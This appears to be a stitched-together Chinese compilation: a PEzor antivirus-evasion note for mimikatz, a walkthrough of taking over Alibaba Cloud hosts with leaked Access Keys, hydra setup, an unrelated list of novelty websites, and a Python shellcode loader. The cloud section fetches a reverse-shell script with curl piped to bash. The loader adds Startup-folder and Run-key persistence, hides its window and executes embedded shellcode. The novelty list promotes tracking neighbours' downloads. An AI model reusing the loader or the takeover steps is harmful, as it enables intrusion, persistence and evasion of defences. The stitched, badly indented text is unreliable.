https://github.com/phra/PEzor 主要是用于通过反射来执行exe或shellcode,从而来绕过AV。
PEzor的安装和配置我略过不讲。如果不会的话,可以去头条搜索海阳顶端看我的介绍文章。

inject.x64.exe来源于哪呢?来源于metasploit-frameworkexternalsourceexploitscve-2015-0016bin。

生成reflective-dll。
./PEzor -format=reflective-dll mimikatz.exe -z 2 -p '"token::whoami" "exit"'

1.png

改名为reflective_dll.x64.dll和inject.x64.exe在同一目录。
执行inject.x64.exe

2.png

最近在HW中有攻击队使用Access Key拿下阿里云ECS服务器的案例,来总结一下利用的过程。

为什么要上云

首先要说说为什么许多企业开始选择将服务部署在云上。90年代初期甚至中期的时候,企业自己养开发人员,IT部门自己开发、自己实施、自己培训、自己运维、自己客服支持,甚至布网线、修打印机万金油。后来企业软件需要的技术越来越复杂,功能越来越复杂,企业就养不起那么多专业的开发人员了,就开始购买外部的商业软件公司的软件产品和实施支持服务了。(抄自知乎)

对于中小企业来说,服务器落地在本地意味着更高的成本、更高的风险,将网络环境直接部署到云环境中可以极大的降低此类成本
大型企业拥有专业的生产、安全等团队,上云的需求主要由本身的业务带动,并没有那么急迫。

云的概念

云服务本身分为三种,Laas\PaaS\SaaS
IaaS: Infrastructure-as-a-Service(基础设施即服务)
PaaS: Platform-as-a-Service(平台即服务)
SaaS: Software-as-a-Service(软件即服务)

1.png

具体就不展开了,网上有很多详细的解释,不是本篇的重点略过了

公有云、私有云、混合云

公有云
阿里云就属于公有云,依托阿里进行日常维护,高可靠性、低维护成本、扩展性强。

私有云
私有云指的是厂商分给专供某家企业独家使用的云服务,可以自定义硬件规格。使用私有云的通常为政企、金融等大型单位。它会比公有云更加安全;扩展性、定制化程度更高。

混合云
混合云就是公有云和私有云的混合,对外系统可以分布在公有云上对公网开发,而内部的数据库等敏感系统放在私有云上只有自己可以访问。

通过Access Key拿阿里云具体流程

通过各种途径去收集一波Access Key,比较常见的方法:

APK文件中存放Access Key Web页面/JS文件等 Github查找目标关键字发现Access Key与AccessKey Secret 拥有WebShell低权限的情况下搜集阿里云Access Key利用

github还是比较多的,可以改动一下关键字进行搜索

2.png

找到后如果可以确认为阿里云主机则可以继续开始后续步骤

3.png

(来自 https://www.moonsec.com/archives/1098

拿到AK后使用阿里官方的管理工具:行云管家可以通过导入AK获得一个云主机实例

导入云主机实例

登陆行云管家:https://yun.cloudbility.com/
在创建团队后导入一个公有云主机

4.png

填入Access Key、AccessKey Secret就可以完成导入
那么进来之后来到基础运维,可以直接重置云主机的密码,实现接管

5.png

当然作为正义的安服仔我们是不会干出这种事情的(走投无路也不是不行),这时候就需要提到阿里云的一个接口:OpenAPI Explorer.通过该接口可以直接操作让云主机执行命令

大佬整理的感觉会是比较常用的命令:

6.png

操作接口

接口中我们主要会用到两个函数:CreateCommand和InvokeCommand,可以直接搜索使用

7.png

第一个函数的作用是生成一条指令,第二个函数则是调用这个命令。
简略的展示一下调用过程:CreateCommand.py->生成Commandid->使用Commandid生成InvokeCommand.py->执行InvokeCommand.py实现RCE

选择CreateCommand,RegionId选择主机所在地区(可以在行云管家中看到),Name可以随便填,Type指的是执行那类命令,windows主机可以使用powershell和bat、linux主机可以使用sh脚本。这里不理解的地方可以点击右上角的小问号查看帮助。

8.png

然后CommandContent填的就是需要执行的命令的Base64

我们愉快的填入bash反弹shell的脚本,然后就可以点击右边的python选项,然后点击“调试”按钮

9.png

然后在下方会弹出一个Cloud shell,并自动安装所欲要的类库

10.png

通过vim ./CreateCommand.py修改脚本中的Access Key与AccessKey Secret参数,需要注意的是这里要删掉本来存在的中括号等字符

11.png

(这么黑我也没办法)

修改完后保存退出,执行python CreateCommand.py,获得Commandid

12.png

在创建完命令后,需要去调用这条命令。选择InvokeCommand,填入RegionId,CommandId(就是刚刚执行完获得的),InstanceId(云主机实例id:在行云管家中可以看到)

13.png

14.png

填完后还是在右边选择python,并且选择“调试”,见上图。此时Cloud shell会创建一个InvokeCommand.py。同样的先通过vim命令修改Access Key与AccessKey Secret,然后执行python InvokeCommand.py,命令也就成功在云主机上执行了
然后!就出现了坑爹的情况,bash反弹被拦了。

15.png

那么这个时候我们就要重新调用CreateCommand、InvokeCommand去尝试哪些命令可以过,这里放最后成功反弹的payload:curl "http://xxxx:8080/bash_shell.sh" | bash。bash_shell.sh里放的还是之前的bash反弹shell的命令

那么在我们自己的vps上用python起一个8080端口的http服务,然后放个反弹bash的sh在上面,然后nc开启监听,使用上面的payload再CreateCommand->InvokeCommand来一次,成功收到反弹回来的shell

16.png

http:

17.png

nc:

18.png

后话:

到这里通过AK拿下阿里云主机就复现完了,也是有遇到几个坑但是总的来说利用过程还是比较方便的。如果可以拿到阿里云主机的Access Key的话,利用该接口去getshell或许也是个不错的选择
此次试验中只复现了linux主机的利用过程,windows的话只是利用的命令会改变,其他流程都是相同的
另外这种攻击手段并不仅限于阿里云主机,还有比如Amazon的AWS主机也存在相似的利用手法,但是Amazon获取到的AccessKey权限并没有像阿里云那么大,阿里可以直接获取OSS和ECS主机信息,而Amazon通过IAM创建用户和组来限制AccessKey的权限。

参考文章:云渗透思路从报错信息泄露到使用ECS接口执行命令反弹shell

https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra/releases

1.安装hydra

依赖包:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev

wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz --no-check-certificate

tar zxf v9.1.tar.gz

cd thc-hydra-9.1

./configure

make

make install

hydra –v(验证安装是否成功)

2.联动Nessus

ln -s /usr/local/bin/hydra /usr/bin/hydra

service nessusd stop

/opt/nessus/sbin/nessusd -R

service nessusd start

国庆宅在家里,大概除了上网还是上网了。

最近扩展迷在后台收到了不少咨询,有小伙伴提到,似乎我们已经很久没有给大家推荐网站了。

今天,扩展迷就来给大家推荐一波比较小众,但非常有意思的神奇网站,相信一定有你喜欢的。

★100000 Stars

http://stars.chromeexperiments.com/

带你遨游星际,理工科独有的浪漫。

谷歌推出的Chrome实验项目“十万颗星星”,为普通人提供了银河系漫游的机会,从各个角度欣赏壮观的银河。

全三维的高清交互式体验,使人们能够近距离地观察星星。

1.gif

单击任意一颗星球,可以查看它的详细介绍,拖动鼠标就能360°旋转。

时常仰望浩瀚宇宙,意识到自己的渺小,或许能让你对人生有一个全新的认知。

2.gif

Perseid meteor shower

https://www.meteorshowers.org/

跟上一个网站差不多,以可视化互动的方式来观察流行雨的形成以及运行轨道。

网站数据由NASA埃姆斯研究中心提供,点进去就可以从太空视角观赏流星雨了,非常美。

3.gif

凶宅集

http://www.xiongzhaiji.com/index.html

逛完了太空,来看点阴间的东西。

所谓凶宅,也就是曾经有人横死的房子,横死即非自然死亡,譬如意外,自杀,他杀等等。

这样的房子,穷人买不起,富人不敢买,人人敬而远之。

但是近年来,随着线上交易的盛行和房价的持续走高,凶宅拍卖也成了大家热议的话题。

4.png

凶宅集,应该是国内首个凶宅综合信息平台,由V2EX论坛大神于2018年推出。

截止目前,上面已经收录了12个城市的6000余条凶宅信息,包括新闻资讯和坊间故事。

大神表示,开发这个平台,是为倡导明示凶宅信息,公平合理交易。

5.png

如果你觉得凶宅集上的故事不够过瘾,那么还可以看一看“香港最齐凶宅资料库”。

该网站号称提供全方位服务的房地产公司,所以你可以在此页面查找从1977年至今香港所有区域的凶宅信息。

https://www.squarefoot.com.hk/sc/房产指南/凶宅/全部/

6.png

死囚遗言

https://www.tdcj.texas.gov/death_row/dr_executed_offenders.html

死囚在被执行死刑之前,真的忏悔了吗?

美国德克萨斯州刑事司法部的官方网站上,有一个专门为死囚建立的公开数据库,任何人都可以在浏览被执刑人(已被处决囚犯)的具体信息。

7.png

数据库收录了从1982年至今在该司法部被执行死刑的500多名囚犯,记录着他们的编号、真实姓名、身高体重、所犯刑事案件等。

这些死囚的罪状不一,比如抢劫盗窃、帮派斗争、宗教活动......

8.png

看了他们的案例,或许大家才能更直观地了解这些人穷凶极恶的程度。

比如上图中的Ochoa,就在2002年枪杀了自己的妻子、两个女儿(分别为7岁和9个月)、岳父、妻子的妹妹。

9.png

重点是,这个数据库还记录了他们在被执行死刑前的最后遗言。

然而从大部分遗言来看,他们多是在表达对兄弟朋友和上帝的爱,却很少对自己的行为表达忏悔和歉意。

所以,人之初,到底是性本善还是性本恶呢?

10.png

AI在线人脸识别女优

xslist.org/zh

有时候,无意中对网友分享的一张gif动图或者视频截图一见钟情,却苦于找不到番号,该怎么办呢?

这个网站,可以帮助你在线利用AI智能人脸识别女优,如果你看到一部佳片却不知道女主角是谁,那么这个网站也可以成为你的必备神器。

而且,它还会提供这些女优的作品番号,你懂的。

11.png

IKnowWhatYouDownload

https://iknowwhatyoudownload.com/

一个通过DHT网络查询指定IP下载过哪些种子资源的网站。

简而言之,这个网站可以利用磁力链接下载文件留下的痕迹,追踪你以及你附近IP下载过的内容。

看看邻居、室友最近都在看些啥类型的爱情动作片吧,说不定会有惊喜发现。

12.png

此外,这个网站还能够统计全世界人民下载什么类型磁力最多,当然,全世界人民下载得最多的莫过于——小黄片了。

13.png

小霸王模拟器

https://www.yikm.net/

不知道你有没有做过这种梦,梦里回到小时候,在电视机前和小伙伴抢着玩小霸王。

去年,国内一名开发者自己搞了个小霸王模拟器,提供了许多经典游戏供玩家体验。

14.png

基本上你有印象的经典游戏,在这里都能玩到。

最耳熟能详的魂斗罗、冒险岛、忍者神龟、坦克大战......美版、日版等多个版本全都收录其中,非常全面。

15.png

最有趣的是,游戏界面也是一台模拟的街机,玩家可以通过下方的菜单栏调整按键操作、全屏、保存进度等等。

当然,想开金手指,想跟小伙伴联机,也是可以的。

现在做小霸王游戏的并不少,但玩了一圈下来,很少有像这个模拟器这样充满情怀又精致的了。

16.png

王者荣耀排名生成器

https://cc.bjadjty.com//cx3/2498

想装X,就用它。

有了王者荣耀排名生成器,全服第一不是梦。

此外,该网站还有很多其他的生成器,比如支付宝余额、微信钱包余额、结婚证等等,大家可自行体验。

17.png

Nooooooooooooooo

http://nooooooooooooooo.com/

生活中,我们总是会面临一些让人难以拒绝的要求。

“想找你借点钱,可以吗?”“不借。”

碍于人际关系、面子等原因,有时我们内心再抗拒,嘴上也很难说出口,哪怕仅仅是一个单词。

Nooooooooooooooo这个网站,旨在帮助人们喊出内心的真实想法。

18.png

打开网站,按下蓝色按钮,就可以听到一声饱含愤怒的“No!!”

19.png

你可以说这个网站很沙雕,但说不定哪天就派上用场了呢?

看样本,这个生成出来的要被防护软件拦吧。

# -*- coding:utf-8 -*-
from ctypes import *

import ctypes
import re
import struct
import string
import binascii
import win32con
import win32api
import os
import sys
import pythoncom
import win32com.client as client
import hashlib
import time

def createShortCut(filename):  # 目前创建的无起始位置 - No starting position currently created
"""filename should be abspath, or there will be some strange errors"""
try:
    # 设置快捷方式的起始位置,此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
    working_directory = os.getenv(
        'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
    # 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
    lnkname = working_directory + filename + '.lnk'
    # 要创建快捷方式的文件的绝对路径,此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
    filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
    shortcut = client.Dispatch("WScript.Shell").CreateShortCut(lnkname)
    shortcut.TargetPath = filename
    shortcut.save()
    print('配置开机自启') # Configure auto start
    except Exception as e:
    print(e.args)

   def set_shortcut(filename):  # 如无需特别设置图标,则可去掉iconname参数 - If you don’t need to set the icon, you can remove the iconname parameter
print(filename)
try:
    from win32com.shell import shell
    from win32com.shell import shellcon
    iconname = ""
    # 设置快捷方式的起始位置,此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
    working_directory = os.getenv(
        'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
    # 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
    lnkname = working_directory + filename + '.lnk'
    print(lnkname)    
    # 要创建快捷方式的文件的绝对路径,此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
    #filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
    shortcut = pythoncom.CoCreateInstance(
        shell.CLSID_ShellLink, None,
        pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
    #shortcut.SetPath(filename)
    shortcut.SetPath(sys.argv[0])
    # 设置快捷方式的起始位置, 不然会出现找不到辅助文件的情况 - Set the starting position of the shortcut, otherwise the auxiliary file will not be found
    shortcut.SetWorkingDirectory(working_directory)
    # 可有可无,没有就默认使用文件本身的图标 - Optional, if not, use the icon of the file itself by default
    shortcut.SetIconLocation(iconname, 0)
    if os.path.splitext(lnkname)[-1] != '.lnk':
        lnkname += ".lnk"
    shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname, 0)

    return True
except Exception as e:
    print(e.args)
    return False

  def addfile2autorun(name):
  try:
    runpath = "Software\Microsoft\Windows\CurrentVersion\Run"
    hKey = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, runpath, 0, win32con.KEY_SET_VALUE)
    win32api.RegSetValueEx(hKey, name, 0, win32con.REG_SZ, sys.argv[0])
    win32api.RegCloseKey(hKey)
  except Exception as e:
  pass
 def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr: 
    raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
    raise Exception("Failed to set protection on buffer")
return addr

def main():

buf =  b""
buf += b"\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5"
buf += b"\x81\xc3\x93\x45\x00\x00\xff\xd3\x81\xc3\x66\x62\x02"
buf += b"\x00\x53\x6a\x04\x50\xff\xd0\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e"
buf += b"\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21"
buf += b"\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20"
buf += b"\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e"
buf += b"\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e"
buf += b"\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x49\x9c"
buf += b"\x6e\x3a\x0d\xfd\x00\x69\x0d\xfd\x00\x69\x0d\xfd\x00"
buf += b"\x69\x4b\xac\xe1\x69\x29\xfd\x00\x69\x4b\xac\xdf\x69"
buf += b"\x1a\xfd\x00\x69\x4b\xac\xe0\x69\x8e\xfd\x00\x69\x0d"
buf += b"\xfd\x01\x69\xce\xfd\x00\x69\x04\x85\x93\x69\x1c\xfd"
buf += b"\x00\x69\x04\x85\x83\x69\x0c\xfd\x00\x69\x00\xaf\xe0"
buf += b"\x69\x17\xfd\x00\x69\x00\xaf\xdc\x69\x0c\xfd\x00\x69"
buf += b"\x00\xaf\xde\x69\x0c\xfd\x00\x69\x52\x69\x63\x68\x0d"
buf += b"\xfd\x00\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x50\x45\x00\x00\x4c\x01\x04\x00\x3c\x97\x52\x5f"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x21\x0b"
buf += b"\x01\x0c\x00\x00\xf6\x01\x00\x00\xe6\x00\x00\x00\x00"
buf += b"\x00\x00\xaa\x38\x01\x00\x00\x10\x00\x00\x00\x10\x02"


bufmd5 = get_md5_value(buf)  
set_shortcut("windows.dll-" + bufmd5)
addfile2autorun("windows.dll-" + bufmd5)

#libc = CDLL('libc.so.6')

PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 6669999999999999999999999999999999999==6669999999999999999999999999999999999:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
#进程不能退出 - Process cannot exit
while True:
    time.sleep(1)

def get_md5_value(src):
myMd5 = hashlib.md5()
myMd5.update(src)
myMd5_Digest = myMd5.hexdigest()
return myMd5_Digest

if __name__ == '__main__':
main()